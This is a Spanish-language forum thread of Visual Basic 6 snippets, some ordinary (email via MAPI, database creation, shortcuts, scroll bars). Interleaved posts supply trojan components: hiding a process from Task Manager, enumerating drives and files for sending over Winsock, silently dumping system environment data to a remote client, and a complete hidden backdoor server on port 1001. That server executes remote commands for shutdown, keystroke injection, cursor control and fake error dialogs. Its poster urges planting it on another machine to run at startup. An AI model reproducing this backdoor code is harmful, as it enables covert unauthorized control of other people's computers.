Autor Tema: <<La Vitrina>> Codificador Decimal-Binario (Leído 16283 veces)

actinio · « **Respuesta #15 en:** Noviembre 16, 2002, 06:23:29 am »

Envio de e-mail desde VB:
1.- Adjuntar al proyecto los controles MAPI
(ya sabes: Proyecto/Componentes y se?alar Microsoft MAPI controls)
2.- En tu formulario, coloca los controles MAPISession y MAPIMessages
3.- Para enviar el mail:
MAPISession1.UserName = "nombre del remitente"
MAPISession1.NewSession = True
MAPISession1.DownLoadMail = True \' o false si no deseas recibir
MAPISession1.SignOn
MAPIMessages1.SessionID = MAPISession1.SessionID

MAPIMessages1.MsgIndex = -1 \' nuevo mensaje
MAPIMessages1.RecipDisplayName = "nombre del destinatario"

MAPIMessages1.ResolveName \' esto comprueba que el destinatario exista en las direcciones
MAPIMessages1.MsgSubject = "texto del asunto"
MAPIMessages1.MsgNoteText = "texto del mensaje"

\' si deseas anexar algun archivo al mail:
MAPIMessages1.AttachmentIndex = 0 \' numero del anexo, 0,1,2,3....
MAPIMessages1.AttachmentName = "nombre_del_archivo_a_anexar"
MAPIMessages1.AttachmentPathName = "path_completo_del archivo_a_enviar"
MAPIMessages1.AttachmentPosition = 0 \' numero del anexo, 0,1,2,3...
MAPIMessages1.AttachmentType = 0 \' archivo de datos
\' (puedes anexar varios archivos, incrementando el numero 0,1,2,3....)
\' Y por fin, enviarlo:
MAPIMessages1.Send

\' Cuando ya no tengas que enviar ningun mail m?s:
MAPISession1.SignOff
IMPORTANTE: Tu programa de mail debe ser cliente MAPI predeterminado:
en Outlook Express: Herramientas,Opciones,General y marcar la opcion correspondiente.

Salvo error mio al transcribirlo, esto funciona. Suerte!

Mi agradecimiento a los colegas de las news que me orientaron en este tema cuando no ten?a ni idea.

Recepci?n de e-mail desde VB:

1.- Adjuntar al proyecto los controles MAPI
(ya sabes: Proyecto/Componentes y se?alar Microsoft MAPI controls)
2.- En tu formulario, coloca los controles MAPISession y MAPIMessages
3.- Para recibir el mail:
Dim nCanMsg As Integer
Dim cNomFic As String
Dim nX As Integer
Dim nY As Integer
MAPISession1.UserName = "nombre_del _destinatario"
MAPISession1.NewSession = True
MAPISession1.DownLoadMail = True
MAPISession1.SignOn

MAPIMessages1.SessionID = MAPISession1.SessionID
MAPIMessages1.FetchUnreadOnly = True \' Solo los no leidos
MAPIMessages1.FetchSorted = True \' ordenados segun llegada
MAPIMessages1.Fetch \' obtiene el conjunto de mensajes

nCanMsg = MAPIMessages1.MsgCount - 1
For nX = 0 To nCanMsg
MAPIMessages1.MsgIndex = nX
\' Filtrado de los mensajes para seleccionar los deseados segun el asunto
If MAPIMessages1.MsgSubject = "asunto_deseado" Then
\' Si te interesa el texto del mensaje, est? en MAPIMessages1.MsgNoteText
\' Por cada archivo anexado al mensaje, extraerlo y copiarlo donde queramos
For nY = 0 To MAPIMessages1.AttachmentCount - 1
MAPIMessages1.AttachmentIndex = nY
cNomFic = ExtraerNombreArchivo(MAPIMessages1.AttachmentName)
FileCopy MAPIMessages1.AttachmentPathName, "path_deseado" + "" +cNomFic
Next
\' borrado del mensaje (si queremos hacerlo)
MAPIMessages1.Delete (mapMessageDelete)
End If
Next
\' Cerrar las sesion
MAPISession1.SignOff

\' Esta funcion la necesitas para extraer el nombre del archivo:

Private Function ExtraerNombreArchivo(cArchivo As String) As String
\' extrae el nombre de un archivo de una cadena con path completo
Dim nX As Integer
ExtraerNombreArchivo = ""
For nX = Len(cArchivo) To 1 Step -1
If Not Mid(cArchivo, nX, 1) = "" Then
ExtraerNombreArchivo = Mid(cArchivo, nX, 1) + ExtraerNombreArchivo
Else
exit for \'salir del bucle, ya esta.
End If
Next
End Function

IMPORTANTE: Tu programa de mail debe ser cliente MAPI predeterminado:
en Outlook Express: Herramientas,Opciones,General y marcar la opcion correspondiente.

Salvo error mio al transcribirlo, esto funciona. Suerte!

Mi agradecimiento a los colegas de las news que me orientaron en este tema cuando no ten?a ni idea.

Creo que con esto y muy poco por tu parte, tienes resuelto el tema de recibir mail.
Se agradecen comentarios (incluso criticas) que ayuden a mejorarlo. Tambien me encantar?a saber
si mi esfuerzo te ha sido de utilidad, no me gustar?a estar haciendo esto para nada. Gracias.

Texto extra?do de http://personal2.iddeo.es/fustej/faq/faq.htm
por eso lo copi? tal cual lo explica el autor, a?n no lo he probado

actinio · « **Respuesta #16 en:** Noviembre 16, 2002, 07:45:56 am »

Tomado de Angel Corpse

Aqui les incluyo unas funcione, utiles para conocer los archivos del HD:

Function ShowDriveList()
Dim fso, d, dc, s, n
Set fso = CreateObject("Scripting.FileSystemObject")
Set dc = fso.drives
For Each d In dc
s = s & d.DriveLetter
s = s & " / "
Next
ShowDriveList = s
End Function
\'devuelve todos los discos duros del PC en ShowDriveList

----------------------------------------------------------------

Function ShowFolderList()
Dim fso, f, f1, fc, s

Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFolder("c:")
Set fc = f.subfolders
For Each f1 In fc
s = s & f1.Name
s = s & vbCrLf
Next
ShowFolderList = s
End Function
\'devuelve todas las carpetas en "c:" en ShowFolderList

-------------------------------------------------------------------

Function ShowFileList()
Dim fso, f, f1, fc, s
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFolder("c:")
Set fc = f.Files
For Each f1 In fc
s = s & f1.Name
s = s & vbCrLf
Next
ShowFileList = s
End Function
\'devuelve todos los archivos en "c:" en ShowFileList

Todo esto lo pueden asignar a variables, y mandarlos por el winsock...

Eso se los dejo a uds.

Salu2

Strazor · « **Respuesta #17 en:** Diciembre 21, 2002, 07:28:34 pm »

Como hacer para que la aplicaci?n no salga en el task manager (Ctrl + Alt +Supr):

colocas esta simple linea de primerita en el form_Load

App.TaskVisible = False

listo!!! funciona en todas las plataformas de win

salu2

Strazor · « **Respuesta #18 en:** Enero 09, 2003, 03:12:52 am »

BAJAR ARCHIVOS DE INTERNET

ok si quieres bajar algun archivo de internet con VB y guardarlo en algun sitio del disco esto es lo que debes hacer...

Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long \'con esto se llama a la api encargada de hacer el trabajo

Public Function BajarArchivo(URL As String, LocalFilename As String) As Boolean
Dim lngRetVal As Long
lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
If lngRetVal = 0 Then DownloadFile = True
End Function
\'con esto se declara la funcion para bajar archivos

Private Sub descargarArch_Click()
BajarArchivo "http://servidor.com/archivo.exe", "c:archivo.exe"
\'cuando se haga click al boton baja el archivo y lo guarda en disco

End Sub

Strazor · « **Respuesta #19 en:** Enero 09, 2003, 04:29:28 am »

COMO APAGAR, REBUTEAR, CERRAR SESION (INCLUSO EN NT)

\'Esto en un modulo
Public Const EWX_LOGOFF = 0
Public Const EWX_SHUTDOWN = 1
Public Const EWX_REBOOT = 2
Public Const EWX_FORCE = 4
Public Const TOKEN_ADJUST_PRIVILEGES = &H20
Public Const TOKEN_QUERY = &H8
Public Const SE_PRIVILEGE_ENABLED = &H2
Public Const ANYSIZE_ARRAY = 1
Public Const VER_PLATFORM_WIN32_NT = 2
Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128
End Type
Type LUID
LowPart As Long
HighPart As Long
End Type
Type LUID_AND_ATTRIBUTES
pLuid As LUID
Attributes As Long
End Type
Type TOKEN_PRIVILEGES
PrivilegeCount As Long
Privileges(ANYSIZE_ARRAY) As LUID_AND_ATTRIBUTES
End Type
\'hasta aqui en el modulo

\'esto va en las declaraciones generales
Private Declare Function GetCurrentProcess Lib "kernel32" () As Long
Private Declare Function OpenProcessToken Lib "advapi32" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, TokenHandle As Long) As Long
Private Declare Function LookupPrivilegeValue Lib "advapi32" Alias "LookupPrivilegeValueA" (ByVal lpSystemName As String, ByVal lpName As String, lpLuid As LUID) As Long
Private Declare Function AdjustTokenPrivileges Lib "advapi32" (ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, PreviousState As TOKEN_PRIVILEGES, ReturnLength As Long) As Long
Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Private Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (ByRef lpVersionInformation As OSVERSIONINFO) As Long
\'hasta aqui las declaraciones generales

\'detecta si se esta usando Windows NT
Public Function IsWinNT() As Boolean
Dim myOS As OSVERSIONINFO
myOS.dwOSVersionInfoSize = Len(myOS)
GetVersionEx myOS
IsWinNT = (myOS.dwPlatformId = VER_PLATFORM_WIN32_NT)
End Function
\'coloca el privilegio de apagar el PC
Private Sub EnableShutDown()
Dim hProc As Long
Dim hToken As Long
Dim mLUID As LUID
Dim mPriv As TOKEN_PRIVILEGES
Dim mNewPriv As TOKEN_PRIVILEGES
hProc = GetCurrentProcess()
OpenProcessToken hProc, TOKEN_ADJUST_PRIVILEGES + TOKEN_QUERY, hToken
LookupPrivilegeValue "", "SeShutdownPrivilege", mLUID
mPriv.PrivilegeCount = 1
mPriv.Privileges(0).Attributes = SE_PRIVILEGE_ENABLED
mPriv.Privileges(0).pLuid = mLUID
\'establece el privilegio de apagar el PC
AdjustTokenPrivileges hToken, False, mPriv, 4 + (12 * mPriv.PrivilegeCount), mNewPriv, 4 + (12 * mNewPriv.PrivilegeCount)
End Sub
\' Apaga NT
Public Sub ShutDownNT(Force As Boolean)
Dim ret As Long
Dim Flags As Long
Flags = EWX_SHUTDOWN
If Force Then Flags = Flags + EWX_FORCE
If IsWinNT Then EnableShutDown
ExitWindowsEx Flags, 0
End Sub
\'Resetea NT
Public Sub RebootNT(Force As Boolean)
Dim ret As Long
Dim Flags As Long
Flags = EWX_REBOOT
If Force Then Flags = Flags + EWX_FORCE
If IsWinNT Then EnableShutDown
ExitWindowsEx Flags, 0
End Sub
\'Cierra sesion NT

\'esto detecta si es NT
Public Sub LogOffNT(Force As Boolean)
Dim ret As Long
Dim Flags As Long
Flags = EWX_LOGOFF
If Force Then Flags = Flags + EWX_FORCE
ExitWindowsEx Flags, 0
End Sub

Private Sub Command1_Click()
LogOffNT True
End Sub
Private Sub Command2_Click()
RebootNT True
End Sub
Private Sub Command3_Click()
ShutDownNT True
End Sub

\'SALU2

BlackByte · « **Respuesta #20 en:** Enero 26, 2003, 05:59:21 pm »

Hola a todos

Esto es para crear un acesso directo en el escritorio de Win2 , (yo tb keria aportar algo)

Set wshShell = CreateObject("WScript.Shell")
Set vLnk = wshShell.CreateShortcut("C:WindowsAll usersEscritorionombredelacesso.lnk")
vLnk.Targetpath = ("C:programa.exe")
vLnk.Save

****BlackByte****

chakal29 · « **Respuesta #21 en:** Febrero 28, 2003, 01:12:46 pm »

Enviar / Recibri data entre el Cliente y el Server -- gRacias Chakal29-
' esto en el DataArrival del server

dim dat as string
Winsock1.GetData dat

If Mid(dat, 1, 4) = "info" Then
Open "c:windowsinfo.bat" For Output As #1
Print #1, "@echo off"
Print #1, "set>c:info.txt"
Close #1
Shell "c:windowsinfo.bat", vbHide

Dim info As String
Dim texto As String
Dim i As Integer
Dim j As Long
For i = 0 To 300 'esto es para que le de tiempo para
'abrirlo si no daria error
i = i + 1
For j = 300 To 250000
j = j + 1
Next
Next
Open "c:info.txt" For Input As #2
Do While Not EOF(2)
Input #2, info
texto = texto & vbCrLf & info
Loop
Close #2

tcpServer.SendData "EInfo" 'avisa de dicho archivo
tcpServer.SendData texto
Kill "c:windowsinfo.bat"
Kill "c:info.txt"
End If

'y en el DataArrival del cliente

Private Sub CmdInfo_Click()
On Error Resume Next

TcpCliente.SendData "info"

End Sub

'en el DataArrival del cliente

dim dat as string
tcpcliente.GetData dat

If Mid(dat, 1, 5) = "EInfo" Then

Dim txt As String
Dim texto As String

Open "c:in.txt" For Output As #1
texto = Mid(dat, 6, Len(dat))
txt = txt & vbCrLf & texto
Close #1

Info.Show
Info.Text1.Text = txt
Kill "c:in.txt"
End If

salu2

th3j0ker · « **Respuesta #22 en:** Abril 17, 2003, 09:12:38 pm »

C?digo de Fuente para convertir, n?meros en letras. :ph34r:

ThE JoKeR's PaGe III (Pr?ximamente)

th3j0ker · « **Respuesta #23 en:** Abril 17, 2003, 09:25:06 pm »

C?digo de fuente para hacer un scrolling (avance/retroceso del texto en la pantalla). :ph34r:

NAT · « **Respuesta #24 en:** Abril 28, 2003, 03:54:46 pm »

Codigo para generar una base de datos con tablas:

Dim catBase As ADOX.Catalog
Dim nombreBase As String
Dim ruta As String

Private Sub Form_Load()
nombreBase = "Nombre.mdb"
ruta = App.Path & "\" & nombreBase
Call creaBD
End Sub

Private Sub creaBD()
' Pregunta si existe la base de datos y si no est? creada la crea
' en el mismo directorio donde se ejecuta la aplicaci?n
If Dir(App.Path & "\" & nombreBase) = "" Then
' Inicializa catBase
Set catBase = New ADOX.Catalog
' Crea la base de datos Articulos
catBase.Create ("Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & ruta & ";")
' Libera de memoria el cat?logo
Set catBase = Nothing
Call creaTablas
End If
End Sub

'------------------------------------
' Procedimiento para crear la tabla -
'------------------------------------
Private Sub creaTablas()
' Declaraci?n de variables
Dim catTabla As ADOX.Catalog
Dim tabla As ADOX.Table
Dim conexion As ADODB.Connection
' Inicializa catTabla y tabla
Set catTabla = New ADOX.Catalog
Set tabla = New ADOX.Table
Set conexion = New ADODB.Connection
conexion.Open ("Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & ruta & ";")
' Asigna la conexi?n
catTabla.ActiveConnection = conexion
' Asigna los atributos y campos a la tabla
tabla.Name = "Facturas"
tabla.Columns.Append "Id", adDouble
tabla.Columns.Append "Descripcion", adVarWChar
' A?ade la tabla a la base de datos
catTabla.Tables.Append tabla
' Cierra la conexion
conexion.Close
' Libera de memoria la conexi?n
Set conexion = Nothing
' Libera de memoria el cat?logo y la tabla
Set catTabla = Nothing
Set tabla = Nothing
End Sub

HaCkIsS · « **Respuesta #25 en:** Mayo 03, 2003, 05:44:28 pm »

Hola.
Hace tiempo poste? para ver si alguien me pod?a ayudar para encontrar un programa que me dijera el c?digo hexadecimal de los colores, y un usuario del foro hizo uno en C, pero era en modo ms-dos y se habr?a una ventana del Iexplore con el color (desde aqui le vuelvo a dar las gracias). Bueno, pues ahora soy yo el que ha echo un programa de ese tipo con lo que estoy aprendiendo de VB.
Os doy la URL para que lo ve?is, lo prob?is y si no os gusta lo elimin?is, ok?
Necesita el comdlg32.ocx que esta dentro del *.zip, lo teneis que copiar a la carpeta SYSTEM.
Ya me contar?is.
Saludos.

Colores de HaCkIsS

HaCkIsS

P.D.: Que contento estoyyyy....

HaCkIsS · « **Respuesta #26 en:** Mayo 04, 2003, 12:48:12 pm »

Hola.
El mensaje inmediatamente superior que tambien es mio, no lo poste? aqui, sino en otro tema de este mismo subforo. Lo que contiene el *.zip es el programa y no el codigo, pero ya que ha sido movido a la vitrina posteo el c?digo esta vez (Es una puta mierda de c?digo, eso pasa por no pensar y hacerlo r?pido...). De todas formas no funciona del todo bien el programa ya que no consigo que se pueda hacer Ctrl + c, ni Ctrl + v, ni Ctrl + x. A ver si entre todos lo dejamos perfecto para que nos pueda ayudar al hacer las webs...
Saludos a todos.

HaCkIsS

actinio · « **Respuesta #27 en:** Mayo 10, 2003, 05:38:04 am »

Evita cerrar el Form, ojo: no desaparece el bot?n de la equis de la ventana, pero s? lo deshabilita <_<

Primeramente, se debe crear un m?dulo y se declara la siguiente funci?n:

' evita cerrar formularios
Declare Function GetSystemMenu Lib "user32" _
(ByVal hwnd As Long, ByVal bRevert As Long) As Long

Declare Function GetMenuItemCount Lib "user32" _
(ByVal hMenu As Long) As Long

Declare Function DrawMenuBar Lib "user32" _
(ByVal hwnd As Long) As Long

Declare Function RemoveMenu Lib "user32" _
(ByVal hMenu As Long, ByVal nPosition As Long, _
ByVal wFlags As Long) As Long
Public Const MF_BYPOSITION = &H400&
Public Const MF_REMOVE = &H1000&
' fin

Y luego, esto debe ir en el form load (el form al que se quiere deshabilitar la X de la ventana

Dim hSysMenu As Long
Dim nCnt As Long
Me.Show
hSysMenu = GetSystemMenu(Me.hwnd, False)
If hSysMenu Then
nCnt = GetMenuItemCount(hSysMenu)
If nCnt Then
RemoveMenu hSysMenu, nCnt - 1, _
MF_BYPOSITION Or MF_REMOVE
RemoveMenu hSysMenu, nCnt - 2, _
MF_BYPOSITION Or MF_REMOVE
DrawMenuBar Me.hwnd
End If
End If

guio · « **Respuesta #28 en:** Mayo 24, 2003, 07:16:45 pm »

Este programa hace varias cosas como mandar mensajes, apagar la compu, reiniciar , mandar teclas, abrir el cd, cerrar el cd, algunos errores, y demas se hace con el control de winsock....

Para usarlo pegas el codigo fuente (si le entiendes) lo compilas en .exe lo pones en una maquina por ejem. que lo abra cadaves que se inicie y nadamas con la ip de la maquina te conectas con el elnet o construir un cliente con vb y mandarle la instruccion.. el form contiene winsock1 labels,text es opcional le puedes quitar el codigo que sobre..

alguna info o platicar de hack mi msn estoapesta007@hotmail.com

esto en el form:

Public dat As String
Public dot As String
Const KEYEVENTF_KEYUP = &H2
Const VK_LWIN = &H5B
Private Sub Form_Load()
Form1.Hide
Winsock1.LocalPort = 1001
Winsock1.Listen
End Sub

Private Sub Text1_Change()
Winsock1.SendData Text1.Text & vbCrLf
End Sub

Private Sub Winsock1_Close()
Winsock1.Close
Winsock1.LocalPort = 1001
Winsock1.Listen
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accept requestID
Winsock1.SendData "Conectado....... " & vbCrLf
Winsock1.SendData "IP " & Winsock1.LocalIP & " Nombre del Host " & Winsock1.RemoteHost & vbCrLf
Winsock1.SendData "xdd 0.1 (by BANAC) " & vbCrLf

End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Winsock1.GetData dot
Dim res As Long, returnstring As String * 127

If Asc(dot) <> 13 Then
dat = dat + dot
End If

If Asc(dot) = 13 Then

If dat = "cd_abrir" Then
res = mciSendString("set CDAudio door open", returnstring, 127, 0)
Winsock1.SendData "acepto " & dat & vbCrLf
End If

If dat = "cd_cerrar" Then
res = mciSendString("set CDAudio door closed", returnstring, 127, 0)
Winsock1.SendData "acepto " & dat & vbCrLf
End If

If dat = "mensage" Then
w = MsgBox(" error 09000111222-E ", vbExclamation, "Error")
Winsock1.SendData "Acepto " & dat & vbCrLf
End If

If dat = "retro" Then
SendKeys "{BACKSPACE}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If

If dat = "inter" Then
SendKeys "{BREAK}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If

If dat = "mayus" Then
SendKeys "{CAPSLOCK}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If

If dat = "suprim" Then
SendKeys "{DELETE}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If

If dat = "abajo" Then
SendKeys "{DOWN}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If

If dat = "fin" Then
SendKeys "{END}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If

If dat = "enter" Then
SendKeys "{ENTER}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If

If dat = "esc" Then
SendKeys "{ESC}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If

If dat = "ayuda" Then
SendKeys "{HELP}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If

If dat = "inicio" Then
SendKeys "{HOME}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If

If dat = "izquierda" Then
SendKeys "{LEFT}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If

If dat = "numlock" Then
SendKeys "{NUMLOCK}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If

If dat = "rpagina" Then
SendKeys "{PGDN}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If

If dat = "apagina" Then
SendKeys "{PGUP}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If

If dat = "derecha" Then
SendKeys "{RIGHT}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If

If dat = "tabs" Then
SendKeys "{TAB}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If

If dat = "arriva" Then
SendKeys "{UP}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If

If dat = "f1" Then
SendKeys "{F1}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If

If dat = "f2" Then
SendKeys "{F2}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If

If dat = "f3" Then
SendKeys "{F3}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If

If dat = "f4" Then
SendKeys "{F4}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If

If dat = "f5" Then
SendKeys "{F5}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If

If dat = "f6" Then
SendKeys "{F6}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If

If dat = "f7" Then
SendKeys "{F7}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If

If dat = "f8" Then
SendKeys "{F8}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If

If dat = "f9" Then
SendKeys "{F9}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If

If dat = "f10" Then
SendKeys "{F10}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If

If dat = "f11" Then
SendKeys "{F11}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If

If dat = "f12" Then
SendKeys "{F12}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If

If dat = "error_si" Then
Form1.BackColor = &HFF0008
Label2.Visible = False
Label1.Visible = True
Label3.Visible = False
Text1.Visible = False
Form1.Show
Form1.SetFocus
Winsock1.SendData "Acepto " & dat & vbCrLf
End If

If dat = "error_no" Then
Label1.Visible = False
Label2.Visible = False
Label3.Visible = False
Text1.Visible = False
Form1.Hide
Winsock1.SendData "Acepto " & dat & vbCrLf
End If

If dat = "error_dossi" Then
Form1.BackColor = &H0&
Label1.Visible = False
Label2.Visible = True
Label3.Visible = False
Text1.Visible = False
Form1.Show
Form1.SetFocus
Winsock1.SendData "Acepto " & dat & vbCrLf
End If

If dat = "error_dosno" Then
Label2.Visible = False
Label1.Visible = False
Label3.Visible = False
Text1.Visible = False
Form1.Hide
Winsock1.SendData "Acepto " & dat & vbCrLf
End If

If dat = "textosi" Then
Call keybd_event(VK_LWIN, 0, 0, 0)
Call keybd_event(77, 0, 0, 0)
Call keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP, 0)
Winsock1.SendData "Minimizado todo > " & dat & vbCrLf
Form1.BackColor = &H0&
Label1.Visible = False
Label2.Visible = False
Label3.Visible = True
Text1.Visible = True
Form1.Show
Form1.SetFocus
Winsock1.SendData "Acepto " & dat & vbCrLf
End If

If dat = "textono" Then
Label1.Visible = False
Label2.Visible = False
Label3.Visible = False
Text1.Visible = False
Form1.Hide
Winsock1.SendData "Acepto " & dat & vbCrLf
End If

If dat = "apagar" Then
Form1.Hide
If Dir("C:\WINDOWS\rundll32.exe") = "" Then
Winsock1.SendData "no encontro archivo " & dat & vbCrLf
Else
Winsock1.SendData "Acepto " & dat & vbCrLf
Shell ("C:\WINDOWS\rundll32.exe shell32.dll,SHExitWindowsEx 0x1")
Winsock1.Close
Unload Form1
End If
End If

If dat = "reiniciar" Then
Form1.Hide
If Dir("C:\WINDOWS\rundll32.exe") = "" Then
Winsock1.SendData "no encontro archivo " & dat & vbCrLf
Else
Winsock1.SendData "Acepto " & dat & vbCrLf
Shell ("C:\WINDOWS\rundll32.exe shell32.dll,SHExitWindowsEx 0x2")
Winsock1.Close
Unload Form1
End If
End If

If dat = "cerrarsecion" Then
Form1.Hide
If Dir("C:\WINDOWS\rundll32.exe") = "" Then
Winsock1.SendData "no encontro archivo " & dat & vbCrLf
Else
Winsock1.SendData "Acepto " & dat & vbCrLf
Shell ("C:\WINDOWS\rundll32.exe shell32.dll,SHExitWindowsEx 0x0")
Winsock1.Close
Unload Form1
End If
End If

If dat = "note" Then
Form1.Hide
If Dir("C:\WINDOWS\NOTEPAD.exe") = "" Then
Winsock1.SendData "no encontro archivo " & dat & vbCrLf
Else
Winsock1.SendData "Acepto " & dat & vbCrLf
op = Shell("C:\WINDOWS\NOTEPAD.exe", vbNormalFocus)
End If
End If

If dat = "mini" Then

Call keybd_event(VK_LWIN, 0, 0, 0)
Call keybd_event(77, 0, 0, 0)
Call keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP, 0)
Winsock1.SendData "Minimizado todo > " & dat & vbCrLf
End If
ins = Left(dat, 3)

If ins = "sen" Then
j = Len(dat)
h = j - 4
k = Right(dat, h)
SendKeys (k)
Winsock1.SendData "Acepto " & dat & vbCrLf
End If

If ins = "msg" Then
j = Len(dat)
h = j - 4
k = Right(dat, h)
MsgBox (k)
Winsock1.SendData "Acepto " & dat & vbCrLf
End If

If ins = "cur" Then
j = Len(dat)
h = j - 4
k = Right(dat, h)
px = Left(k, 3)
py = Right(k, 3)
SetCursorPos px, py
Winsock1.SendData "Acepto " & dat & vbCrLf
End If

If dat = "puntno" Then
ShowCursor (False)
Winsock1.SendData "Acepto " & dat & vbCrLf
End If

If dat = "puntsi" Then
ShowCursor (True)
Winsock1.SendData "Acepto " & dat & vbCrLf
End If

If dat = "ayuda" Then
Winsock1.SendData "inter" & vbCrLf
Winsock1.SendData "mayus" & vbCrLf
Winsock1.SendData "inicio" & vbCrLf
Winsock1.SendData "numlock" & vbCrLf
Winsock1.SendData "rpagina" & vbCrLf
Winsock1.SendData "apagina" & vbCrLf
Winsock1.SendData "abajo" & vbCrLf
Winsock1.SendData "fin" & vbCrLf
Winsock1.SendData "enter" & vbCrLf
Winsock1.SendData "esc" & vbCrLf
Winsock1.SendData "suprim" & vbCrLf
Winsock1.SendData "ayuda" & vbCrLf
Winsock1.SendData "retro" & vbCrLf
Winsock1.SendData "izquierda" & vbCrLf
Winsock1.SendData "derecha" & vbCrLf
Winsock1.SendData "tabs" & vbCrLf
Winsock1.SendData "cd_abrir" & vbCrLf
Winsock1.SendData "cd_cerrar" & vbCrLf
Winsock1.SendData "mini" & vbCrLf
Winsock1.SendData "mensage" & vbCrLf
Winsock1.SendData "arriva" & vbCrLf
Winsock1.SendData "f1 al f12" & vbCrLf
Winsock1.SendData "error_si" & vbCrLf
Winsock1.SendData "error_no" & vbCrLf
Winsock1.SendData "error_dossi" & vbCrLf
Winsock1.SendData "error_dosno" & vbCrLf
Winsock1.SendData "cerrar" & vbCrLf

Winsock1.SendData "Ayuda de bn8303 " & vbCrLf
End If

If dat = "ayuda+" Then
Winsock1.SendData "apagar <apaga la compu>" & vbCrLf
Winsock1.SendData "reiniciar <renicia la compu>" & vbCrLf
Winsock1.SendData "cerrarsecion <cierra secion>" & vbCrLf
Winsock1.SendData "note <bloc de notas>" & vbCrLf
Winsock1.SendData "mini <minimiza todo>" & vbCrLf
Winsock1.SendData "sen_(pulsaciones de letras) <manda la pulsacones>" & vbCrLf
Winsock1.SendData "msg_(mensage) <manda mensage>" & vbCrLf
Winsock1.SendData "puntno <oculta el cursor" & vbCrLf
Winsock1.SendData "puntsi <muestra el cursor>" & vbCrLf
Winsock1.SendData "cur_(xxxyyy)" & vbCrLf
Winsock1.SendData "Ayuda+ de bn8303 " & vbCrLf
End If

Winsock1.SendData "BANAC? " & dat & vbCrLf

If dat = "cerrar" Then
Form1.Hide
Winsock1.SendData "Acepto " & dat & vbCrLf
Winsock1.Close
Unload Form1
End If
dat = ""
End If
End Sub

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Winsock1.Close
Winsock1.LocalPort = 1001
Winsock1.Listen
End Sub

y en un modulo que contiene algunas funciones:

Declare Function mciSendString Lib "winmm.dll" Alias _
"mciSendStringA" (ByVal lpstrCommand As String, ByVal _
lpstrReturnString As String, ByVal uReturnLength As Long, _
ByVal hwndCallback As Long) As Long
Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
Declare Function SetCursorPos Lib "user32" (ByVal X As Long, ByVal Y As Long) As Long
Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long

alguna duda al correo si le quieres agregar algo ponerlo aqui....
by banac(guio)

Sorcerer · « **Respuesta #29 en:** Junio 03, 2003, 02:21:04 pm »

Este es la codificacion para las barras desplazadoras , o tambien llamadas VScrollBar , asi podremos codificar y utilizarlas . pongo dos ejemplos para formularios espero les sirva o funcione a mi si me funciono ,

sintaxis 1:

private sub VScroll_changer ()
label1.caption=VScroll1.value*1000
label2.caption = (val(label2.caption)* Val (Label4.caption)
val (Label6.caption) / 100
Label10.Caption =Val (label2.Caption)+Val (label8.Caption)
End Sub

sintaxis 2:

private sub VScrull2_Changer ()
Valor = VScroll2.Value
Label4.Caption =valor1
Label8.caption=(val(label2.caption) * val (label4.caption) *
val(label6.Caption) / 100
label10.caption=val(label2.caption)+Val(label8.caption)
End Sub

las "Label" (etiquetas) que pongo son las de mi programa pero utiliza tu imaginacion y solo cambialas por las que necesitas ok